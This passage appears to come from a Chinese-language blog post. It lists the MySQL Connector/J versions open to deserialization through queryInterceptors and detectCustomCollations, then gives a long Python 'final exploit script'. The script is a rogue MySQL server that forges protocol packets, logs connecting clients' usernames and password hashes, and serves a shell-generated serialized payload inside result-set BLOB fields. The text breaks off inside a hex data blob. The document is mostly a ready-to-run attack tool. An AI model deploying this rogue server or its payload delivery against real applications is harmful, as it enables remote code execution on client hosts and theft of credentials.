此时最新版本的mysql驱动版本为8.0.18
。
在2020-04-27发布的 8.0.20版本中已经宣布: Connector/J 8.0.20 中不再使用 ResultSetUtil 类中的方法;因此该类已被删除.
getObject变成了getString
也就是说queryInterceptors
的利用范围在8.0.7~8.0.19
详细版本信息如下
detectCustomCollations
驱动程序是否应检测服务器上安装的自定义字符集/校对?如果该选项设置为 “true”,驱动程序将在每次建立连接时从服务器获取实际字符集/校对。这会大大降低连接初始化速度。
com.mysql.jdbc.ConnectionImpl#buildCollationMapping
会读取第三个字段的内容进行反序列化
在detectCustomCollations=true
时也会触发反序列化。
对于detectCustomCollations
在mysql5.1.29~5.1.48
都存在该漏洞,在漏洞披露后的最新版本也是5.1.x的最后一个版本5.1.49
中进行了修复。
在之前的脚本上再做兼容,我们得到最后的利用脚本
import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
from enum import Enum
import subprocess
import random
class FieldType(Enum):
MYSQL_TYPE_DECIMAL = 0,
MYSQL_TYPE_TINY = 1,
MYSQL_TYPE_SHORT = 2,
MYSQL_TYPE_LONG = 3,
MYSQL_TYPE_FLOAT = 4,
MYSQL_TYPE_DOUBLE = 5,
MYSQL_TYPE_NULL = 6,
MYSQL_TYPE_TIMESTAMP = 7,
MYSQL_TYPE_LONGLONG = 8,
MYSQL_TYPE_INT24 = 9,
MYSQL_TYPE_DATE = 10,
MYSQL_TYPE_TIME = 11,
MYSQL_TYPE_DATETIME = 12,
MYSQL_TYPE_YEAR = 13,
MYSQL_TYPE_NEWDATE = 14,
MYSQL_TYPE_VARCHAR = 15,
MYSQL_TYPE_BIT = 16,
MYSQL_TYPE_TIMESTAMP2 = 17,
MYSQL_TYPE_DATETIME2 = 18,
MYSQL_TYPE_TIME2 = 19,
MYSQL_TYPE_TYPED_ARRAY = 20,
MYSQL_TYPE_VECTOR = 242,
MYSQL_TYPE_INVALID = 243,
MYSQL_TYPE_BOOL = 244,
MYSQL_TYPE_JSON = 245,
MYSQL_TYPE_NEWDECIMAL = 246,
MYSQL_TYPE_ENUM = 247,
MYSQL_TYPE_SET = 248,
MYSQL_TYPE_TINY_BLOB = 249,
MYSQL_TYPE_MEDIUM_BLOB = 250,
MYSQL_TYPE_LONG_BLOB = 251,
MYSQL_TYPE_BLOB = 252,
MYSQL_TYPE_VAR_STRING = 253,
MYSQL_TYPE_STRING = 254,
MYSQL_TYPE_GEOMETRY = 255
class QueryType(Enum):
SLEEP = b"\x00"
QUIT = b"\x01"
INIT_DB = b"\x02"
QUERY = b"\x03"
FIELD_LIST = b"\x04"
CREATE_DB = b"\x05"
DROP_DB = b"\x06"
REFRESH = b"\x07"
SHUTDOWN = b"\x08"
STATISTICS = b"\x09"
PROCESS_INFO = b"\x0a"
CONNECT = b"\x0b"
PROCESS_KILL = b"\x0c"
DEBUG = b"\x0d"
PING = b"\x0e"
TIME = b"\x0f"
DELAYED_INSERT = b"\x10"
CHANGE_USER = b"\x11"
BINLOG_DUMP = b"\x12"
TABLE_DUMP = b"\x13"
CONNECT_OUT = b"\x14"
REGISTER_SLAVE = b"\x15"
STMT_PREPARE = b"\x16"
STMT_EXECUTE = b"\x17"
STMT_SEND_LONG_DATA = b"\x18"
STMT_CLOSE = b"\x19"
STMT_RESET = b"\x1a"
SET_OPTION = b"\x1b"
STMT_FETCH = b"\x1c"
DAEMON = b"\x1d"
BINLOG_DUMP_GTID = b"\x1e"
RESET_CONNECTION = b"\x1f"
class ColorOutput:
"""颜色输出类,用于输出不同颜色的提示信息"""
# 前景色
FG_BLACK = "\033[30m"
FG_RED = "\033[31m"
FG_GREEN = "\033[32m"
FG_YELLOW = "\033[33m"
FG_BLUE = "\033[34m"
FG_MAGENTA = "\033[35m"
FG_CYAN = "\033[36m"
FG_WHITE = "\033[37m"
# 样式
RESET = "\033[0m"
BOLD = "\033[1m"
@staticmethod
def success(text):
"""成功信息-绿色"""
return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"
@staticmethod
def warning(text):
"""警告信息-黄色"""
return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"
@staticmethod
def error(text):
"""错误信息-红色"""
return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"
@staticmethod
def info(text):
"""普通信息-蓝色"""
return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"
@staticmethod
def debug(text):
"""调试信息-紫色"""
return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"
class Greeting:
def __init__(self):
self.package_length = b"\x4a\x00\x00"
self.packet_id = b"\x00"
self.protocol_version = b"\x0a"
self.server_version = b"5.7.26\x00"
self.connection_id = b"\x06\x00\x00\x00"
self.auth_plugin_data = b"\xff"*8 + b"\x00"
self.capability_flags = b"\xff\xf7"
self.character_set = b"\xc0"
self.status_flags = b"\x02\x00"
self.capability_flags_2 = b"\xff\x81"
self.auth_plugin_data_len = b"\x15"
self.reserved = b"\x00"*10
self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
self.auth_plugin_name = b"mysql_native_password\x00"
def to_bytes(self):
return b"".join([
self.package_length,
self.packet_id,
self.protocol_version,
self.server_version,
self.connection_id,
self.auth_plugin_data,
self.capability_flags,
self.character_set,
self.status_flags,
self.capability_flags_2,
self.auth_plugin_data_len,
self.reserved,
self.auth_plugin_data_part_2,
self.auth_plugin_name
])
class Local_INFILE_Request:
def __init__(self,filename):
self.packet_id = b"\x01"
self.response_code = b"\xfb"
self.filename = filename.encode()
self.res = b"".join([self.response_code,self.filename])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class Auth_Response:
def __init__(self):
self.packet_id = b"\x02"
self.response_code = b"\x00" # OK
self.affected_rows = b"\x00\x00"
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class OK_ID_Packet:
def __init__(self,id):
self.packet_id = id.to_bytes(1,"little")
self.response_code = b"\x00" # OK
self.affected_rows = b"\x00\x00"
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class EOF_ID_Packet:
def __init__(self,id):
self.packet_id = id.to_bytes(1,"little")
self.response_code = b"\xfe" # OK
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.warning_count,self.server_status_flags])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class TextResultSet_Response:
def __init__(self):
pass
def to_bytes(self,data,len,column_count):
id = 1
column_packet = Column_Count_Packet(column_count).to_bytes()
id+=1
filed_list = []
for i in range(column_count):
if i ==column_count-1:
filed_list.append(Field_Packet(len,id).to_bytes())
else:
filed_list.append(Field_Packet(3,id).to_bytes())
id+=1
row_packet = Row_Packet(id,data,column_count).to_bytes()
# for i in range(column_count):
# if i==column_count-1:
# row_list.append(Row_Packet(id,data).to_bytes())
# else:
# row_list.append(Row_Packet(id,bytes(random.randint(0x20, 0x7E) for _ in range(3))).to_bytes())
# id+=1
filed_packets = b"".join(filed_list)
eof_packet = EOF_ID_Packet(id).to_bytes()
return b"".join([column_packet,filed_packets,row_packet,eof_packet])
class Column_Count_Packet():
def __init__(self,count:int):
self.count = count
def to_bytes(self):
if self.count < 0xff:
return b"\x01\x00\x00\x01" + self.count.to_bytes(1,"little")
else:
return b"\x01\x00\x00\x01\xff"
class Field_Packet():
def __init__(self,len,id):
self.packet_number = id.to_bytes(1,"little")
self.catalog = self.setProperties(b"\x64\x65\x66")
self.schema = b"\x00" # 数据库名
self.table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 表名
self.org_table = self.setProperties(b"\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73") # 原始表名
name = bytes(random.randint(0x61, 0x7A) for _ in range(3))
self.name = self.setProperties(name) # 字段名
self.org_name = self.setProperties(name) # 原始字段名
self.const_char = b"\x0c" # 常量字符
self.character_set = b"\x3f\x00" # 字符集
self.field_length = len.to_bytes(4,"little") # 最大长度
print(self.field_length)
print(FieldType.MYSQL_TYPE_BLOB.value)
self.type = FieldType.MYSQL_TYPE_BLOB.value[0].to_bytes(1,"little") # 字段类型
self.flags = b"\xff\xff" # 标志
self.decimals = b"\x00" # 小数位数
self.filler = b"\x00"*2 # 填充
print(ColorOutput.success(str("初始化完毕:"+str(self.field_length))),flush=True)
def to_bytes(self):
p = b"".join([self.catalog,self.schema,self.table,self.org_table,self.name,self.org_name,self.const_char,self.character_set,self.field_length,self.type,self.flags,self.decimals,self.filler])
p_len = len(p).to_bytes(3,"little")
return b"".join([p_len,self.packet_number,p])
def setProperties(self,data):
data_len = len(data).to_bytes(1,byteorder="little")
data = b"".join([data_len,data])
print(ColorOutput.success(str("拼接成功:"+str(data_len))),flush=True)
return data
class Row_Packet():
def __init__(self,packet_number,data,num):
self.packet_number = packet_number.to_bytes(1,"little")
self.value = data
self.num = num
def getSimpleRow(self):
row_list = []
for i in range(self.num-1):
row_list.append(b"".join([b"\x03",bytes(random.randint(0x61, 0x7A) for _ in range(3))]))
return b"".join(row_list)
def to_bytes(self):
if len(self.value) <= 0xff:
self.value_len = len(self.value).to_bytes(1,"little")
self.content = b"".join([self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
elif len(self.value) <= 0xffff:
self.value_len = len(self.value).to_bytes(2,"little")
self.content = b"".join([self.getSimpleRow(),b"\xfc",self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
else:
self.value_len = len(self.value).to_bytes(4,"little")
self.content = b"".join([self.value_len,self.value])
self.len = len(self.content).to_bytes(3,"little")
return b"".join([self.len,self.packet_number,self.content])
def get_bits(hex_value):
# 将16进制字符串转换为整数
num = int(hex_value, 16)
# 获取该数的二进制表示(去掉前缀 '0b')
bin_representation = bin(num)[2:].zfill(4) # 使用zfill补齐
# 返回每一位的比特值
bits = [int(bit) for bit in bin_representation]
return bits
def Greeting_Response_Prase(data):
print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)
cpos =0
client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
# print(get_bits(client_capability_flags[-1]))
haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
cpos += 2
extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
cpos += 2
max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)
cpos += 4
character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)
cpos += 1
client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)
cpos += 23
data = data[cpos:]
null_pos = data.find(b"\x00")
print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)
ccpos = 0
ccpos += null_pos + 1
client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)
ccpos += 1
client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
ccpos += client_password_hash_len
data = data[ccpos:]
if haveTable:
client_table_name_len = data.find(b"\x00")
client_table_name = data[:client_table_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
ccpos = client_table_name_len + 1
data = data[ccpos:]
client_auth_plugin_name_len = data.find(b"\x00")
client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
cccpos = client_auth_plugin_name_len +1
client_connection_attributes_len = struct.unpack("<B",data[cccpos:cccpos+1])[0]
print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
cccpos += 1
client_connection_attributes = data[cccpos:]
arrtibute_prase(client_connection_attributes,client_connection_attributes_len)
def arrtibute_prase(data,length):
cpos = 0
while cpos < length:
attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
cpos += 1
attribute_value = data[cpos:cpos+attribute_length]
print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
cpos += attribute_length
def quert_prase(data):
query_type = data[0:1]
if query_type == QueryType.SLEEP.value:
print(ColorOutput.info(f"查询类型: SLEEP,查询语句 {data[1:]}"), flush=True)
elif query_type == QueryType.QUIT.value:
print(ColorOutput.info("查询类型: QUIT"), flush=True)
elif query_type == QueryType.INIT_DB.value:
print(ColorOutput.info("查询类型: INIT_DB"), flush=True)
elif query_type == QueryType.QUERY.value:
print(ColorOutput.info(f"查询类型: QUERY,查询语句 {data[1:]}"), flush=True)
elif query_type == QueryType.FIELD_LIST.value:
print(ColorOutput.info("查询类型: FIELD_LIST"), flush=True)
elif query_type == QueryType.CREATE_DB.value:
print(ColorOutput.info("查询类型: CREATE_DB"), flush=True)
elif query_type == QueryType.DROP_DB.value:
print(ColorOutput.info("查询类型: DROP_DB"), flush=True)
elif query_type == QueryType.REFRESH.value:
print(ColorOutput.info("查询类型: REFRESH"), flush=True)
elif query_type == QueryType.SHUTDOWN.value:
print(ColorOutput.info("查询类型: SHUTDOWN"), flush=True)
elif query_type == QueryType.STATISTICS.value:
print(ColorOutput.info("查询类型: STATISTICS"), flush=True)
elif query_type == QueryType.PROCESS_INFO.value:
print(ColorOutput.info("查询类型: PROCESS_INFO"), flush=True)
elif query_type == QueryType.CONNECT.value:
print(ColorOutput.info("查询类型: CONNECT"), flush=True)
elif query_type == QueryType.PROCESS_KILL.value:
print(ColorOutput.info("查询类型: PROCESS_KILL"), flush=True)
elif query_type == QueryType.DEBUG.value:
print(ColorOutput.info("查询类型: DEBUG"), flush=True)
elif query_type == QueryType.PING.value:
print(ColorOutput.info("查询类型: PING"), flush=True)
elif query_type == QueryType.TIME.value:
print(ColorOutput.info("查询类型: TIME"), flush=True)
elif query_type == QueryType.DELAYED_INSERT.value:
print(ColorOutput.info("查询类型: DELAYED_INSERT"), flush=True)
elif query_type == QueryType.CHANGE_USER.value:
print(ColorOutput.info("查询类型: CHANGE_USER"), flush=True)
elif query_type == QueryType.BINLOG_DUMP.value:
print(ColorOutput.info("查询类型: BINLOG_DUMP"), flush=True)
elif query_type == QueryType.TABLE_DUMP.value:
print(ColorOutput.info("查询类型: TABLE_DUMP"), flush=True)
elif query_type == QueryType.CONNECT_OUT.value:
print(ColorOutput.info("查询类型: CONNECT_OUT"), flush=True)
elif query_type == QueryType.REGISTER_SLAVE.value:
print(ColorOutput.info("查询类型: REGISTER_SLAVE"), flush=True)
elif query_type == QueryType.STMT_PREPARE.value:
print(ColorOutput.info("查询类型: STMT_PREPARE"), flush=True)
elif query_type == QueryType.STMT_EXECUTE.value:
print(ColorOutput.info("查询类型: STMT_EXECUTE"), flush=True)
elif query_type == QueryType.STMT_SEND_LONG_DATA.value:
print(ColorOutput.info("查询类型: STMT_SEND_LONG_DATA"), flush=True)
elif query_type == QueryType.STMT_CLOSE.value:
print(ColorOutput.info("查询类型: STMT_CLOSE"), flush=True)
elif query_type == QueryType.STMT_RESET.value:
print(ColorOutput.info("查询类型: STMT_RESET"), flush=True)
elif query_type == QueryType.SET_OPTION.value:
print(ColorOutput.info("查询类型: SET_OPTION"), flush=True)
elif query_type == QueryType.STMT_FETCH.value:
print(ColorOutput.info("查询类型: STMT_FETCH"), flush=True)
elif query_type == QueryType.DAEMON.value:
print(ColorOutput.info("查询类型: DAEMON"), flush=True)
elif query_type == QueryType.BINLOG_DUMP_GTID.value:
print(ColorOutput.info("查询类型: BINLOG_DUMP_GTID"), flush=True)
elif query_type == QueryType.RESET_CONNECTION.value:
print(ColorOutput.info("查询类型: RESET_CONNECTION"), flush=True)
else:
print(ColorOutput.error("未知的查询类型"), flush=True)
if data[1:] == b"SHOW SESSION STATUS":
print(ColorOutput.warning("查询类型: SHOW SESSION STATUS"), flush=True)
return 0x01
elif data[1:] == b"SHOW COLLATION":
print(ColorOutput.warning("查询类型: SHOW COLLATION"), flush=True)
return 0x02
return False
def read_mysql_packet(sock):
"""读取一个完整的 MySQL 数据包"""
# 读取包头(4字节)
header = sock.recv(4)
if not header or len(header) < 4:
return None
# 前3字节是包长度(小端序)
packet_length = int.from_bytes(header[:3], byteorder='little')
print(ColorOutput.info(str("请求包长度:"+str(packet_length))))
# 第4字节是序列号
sequence_id = header[3]
# 读取包体
packet_body = b""
remaining = packet_length
while remaining > 0:
chunk = sock.recv(remaining)
if not chunk:
return None
packet_body += chunk
remaining -= len(chunk)
return packet_body
def handle_client(client_socket,filename,payload):
try:
client_socket.sendall(Greeting().to_bytes())
# 读取客户端的认证响应包
auth_response = read_mysql_packet(client_socket)
if auth_response:
try:
Greeting_Response_Prase(auth_response)
except Exception as e:
print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)
#认证成功
client_socket.sendall(Auth_Response().to_bytes())
payload = subprocess.Popen(payload,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE).stdout.read()
#第一次请求 获取系统变量
file_data = read_mysql_packet(client_socket)
quert_prase(file_data)
client_socket.sendall(get_var_data())
#第二次请求
res = read_mysql_packet(client_socket)
if quert_prase(res):
client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload),3)]))
else:
client_socket.sendall(OK_ID_Packet(1).to_bytes())
#第三次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(get_commit_data())
#第四次请求
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(b"".join([TextResultSet_Response().to_bytes(payload,len(payload),2)]))
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(OK_ID_Packet(1).to_bytes())
#第六次请求
while True:
res = read_mysql_packet(client_socket)
quert_prase(res)
client_socket.sendall(get_status_data())
except Exception as e:
print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
finally:
client_socket.close()
def client_handler(server,filename,payload):
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
try:
client_socket, addr = server.accept()
executor.submit(handle_client, client_socket,filename,payload)
except Exception as e:
print(e)
# 当server socket被关闭时,退出循环
break
def start_server(port,filename,payload):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
print("Server listening on port 3306")
handler_thread = threading.Thread(target=client_handler, args=(server,filename,payload))
handler_thread.daemon = True
handler_thread.start()
try:
while True:
time.sleep(10)
# print("Server is running")
except KeyboardInterrupt:
print("\nCtrl+C pressed")
server.close()
print("Server shutting down")
def get_status_data():
return b"\x01\x00\x00\x01\x02\x4c\x00\x00\x02\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0d\x56\x61\x72\x69\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x0c\x21\x00\xc0\x00\x00\x00\xfd\x01\x10\x00\x00\x00\x3c\x00\x00\x03\x03\x64\x65\x66\x00\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x0e\x73\x65\x73\x73\x69\x6f\x6e\x5f\x73\x74\x61\x74\x75\x73\x05\x56\x61\x6c\x75\x65\x05\x56\x61\x6c\x75\x65\x0c\x21\x00\x00\x0c\x00\x00\xfd\x00\x00\x00\x00\x00\x12\x00\x00\x04\x0f\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6c\x69\x65\x6e\x74\x73\x01\x30\x13\x00\x00\x05\x10\x41\x62\x6f\x72\x74\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x18\x00\x00\x06\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x13\x00\x00\x07\x10\x42\x69\x6e\x6c\x6f\x67\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x1d\x00\x00\x08\x1a\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x64\x69\x73\x6b\x5f\x75\x73\x65\x01\x30\x18\x00\x00\x09\x15\x42\x69\x6e\x6c\x6f\x67\x5f\x73\x74\x6d\x74\x5f\x63\x61\x63\x68\x65\x5f\x75\x73\x65\x01\x30\x14\x00\x00\x0a\x0e\x42\x79\x74\x65\x73\x5f\x72\x65\x63\x65\x69\x76\x65\x64\x04\x31\x33\x32\x39\x11\x00\x00\x0b\x0a\x42\x79\x74\x65\x73\x5f\x73\x65\x6e\x74\x05\x31\x31\x34\x38\x34\x15\x00\x00\x0c\x12\x43\x6f\x6d\x5f\x61\x64\x6d\x69\x6e\x5f\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x01\x30\x19\x00\x00\x0d\x16\x43\x6f\x6d\x5f\x61\x73\x73\x69\x67\x6e\x5f\x74\x6f\x5f\x6b\x65\x79\x63\x61\x63\x68\x65\x01\x30\x0f\x00\x00\x0e\x0c\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x01\x30\x17\x00\x00\x0f\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x64\x62\x5f\x75\x70\x67\x72\x61\x64\x65\x01\x30\x12\x00\x00\x10\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x65\x76\x65\x6e\x74\x01\x30\x15\x00\x00\x11\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x15\x00\x00\x12\x12\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x01\x30\x16\x00\x00\x13\x13\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x13\x00\x00\x14\x10\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x12\x00\x00\x15\x0f\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x01\x30\x17\x00\x00\x16\x14\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x74\x61\x62\x6c\x65\x73\x70\x61\x63\x65\x01\x30\x11\x00\x00\x17\x0e\x43\x6f\x6d\x5f\x61\x6c\x74\x65\x72\x5f\x75\x73\x65\x72\x01\x30\x0e\x00\x00\x18\x0b\x43\x6f\x6d\x5f\x61\x6e\x61\x6c\x79\x7a\x65\x01\x30\x0c\x00\x00\x19\x09\x43\x6f\x6d\x5f\x62\x65\x67\x69\x6e\x01\x30\x0d\x00\x00\x1a\x0a\x43\x6f\x6d\x5f\x62\x69\x6e\x6c\x6f\x67\x01\x30\x15\x00\x00\x1b\x12\x43\x6f\x6d\x5f\x63\x61\x6c\x6c\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x10\x00\x00\x1c\x0d\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x64\x62\x01\x30\x14\x00\x00\x1d\x11\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x6d\x61\x73\x74\x65\x72\x01\x30\x19\x00\x00\x1e\x16\x43\x6f\x6d\x5f\x63\x68\x61\x6e\x67\x65\x5f\x72\x65\x70\x6c\x5f\x66\x69\x6c\x74\x65\x72\x01\x30\x0c\x00\x00\x1f\x09\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x01\x30\x0f\x00\x00\x20\x0c\x43\x6f\x6d\x5f\x63\x68\x65\x63\x6b\x73\x75\x6d\x01\x30\x0d\x00\x00\x21\x0a\x43\x6f\x6d\x5f\x63\x6f\x6d\x6d\x69\x74\x01\x30\x10\x00\x00\x22\x0d\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x64\x62\x01\x30\x13\x00\x00\x23\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x65\x76\x65\x6e\x74\x01\x30\x16\x00\x00\x24\x13\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x13\x00\x00\x25\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x69\x6e\x64\x65\x78\x01\x30\x17\x00\x00\x26\x14\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x14\x00\x00\x27\x11\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x13\x00\x00\x28\x10\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x61\x62\x6c\x65\x01\x30\x15\x00\x00\x29\x12\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x11\x00\x00\x2a\x0e\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x64\x66\x01\x30\x12\x00\x00\x2b\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x75\x73\x65\x72\x01\x30\x12\x00\x00\x2c\x0f\x43\x6f\x6d\x5f\x63\x72\x65\x61\x74\x65\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x2d\x0f\x43\x6f\x6d\x5f\x64\x65\x61\x6c\x6c\x6f\x63\x5f\x73\x71\x6c\x01\x30\x0d\x00\x00\x2e\x0a\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x01\x30\x13\x00\x00\x2f\x10\x43\x6f\x6d\x5f\x64\x65\x6c\x65\x74\x65\x5f\x6d\x75\x6c\x74\x69\x01\x30\x09\x00\x00\x30\x06\x43\x6f\x6d\x5f\x64\x6f\x01\x30\x0e\x00\x00\x31\x0b\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x64\x62\x01\x30\x11\x00\x00\x32\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x65\x76\x65\x6e\x74\x01\x30\x14\x00\x00\x33\x11\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x01\x30\x11\x00\x00\x34\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x69\x6e\x64\x65\x78\x01\x30\x15\x00\x00\x35\x12\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x70\x72\x6f\x63\x65\x64\x75\x72\x65\x01\x30\x12\x00\x00\x36\x0f\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x73\x65\x72\x76\x65\x72\x01\x30\x11\x00\x00\x37\x0e\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x61\x62\x6c\x65\x01\x30\x13\x00\x00\x38\x10\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x74\x72\x69\x67\x67\x65\x72\x01\x30\x10\x00\x00\x39\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x75\x73\x65\x72\x01\x30\x10\x00\x00\x3a\x0d\x43\x6f\x6d\x5f\x64\x72\x6f\x70\x5f\x76\x69\x65\x77\x01\x30\x12\x00\x00\x3b\x0f\x43\x6f\x6d\x5f\x65\x6d\x70\x74\x79\x5f\x71\x75\x65\x72\x79\x01\x30\x12\x00\x00\x3c\x0f\x43\x6f\x6d\x5f\x65\x78\x65\x63\x75\x74\x65\x5f\x73\x71\x6c\x01\x30\x14\x00\x00\x3d\x11\x43\x6f\x6d\x5f\x65\x78\x70\x6c\x61\x69\x6e\x5f\x6f\x74\x68\x65\x72\x01\x30\x0c\x00\x00\x3e\x09\x43\x6f\x6d\x5f\x66\x6c\x75\x73\x68\x01\x30\x16\x00\x00\x3f\x13\x43\x6f\x6d\x5f\x67\x65\x74\x5f\x64\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x01\x30\x0c\x00\x00\x40\x09\x43\x6f\x6d\x5f\x67\x72\x61\x6e\x74\x01\x30\x0f\x00\x00\x41\x0c\x43\x6f\x6d\x5f\x68\x61\x5f\x63\x6c\x6f\x73\x65\x01\x30\x0e\x00\x00\x42\x0b\x43\x6f\x6d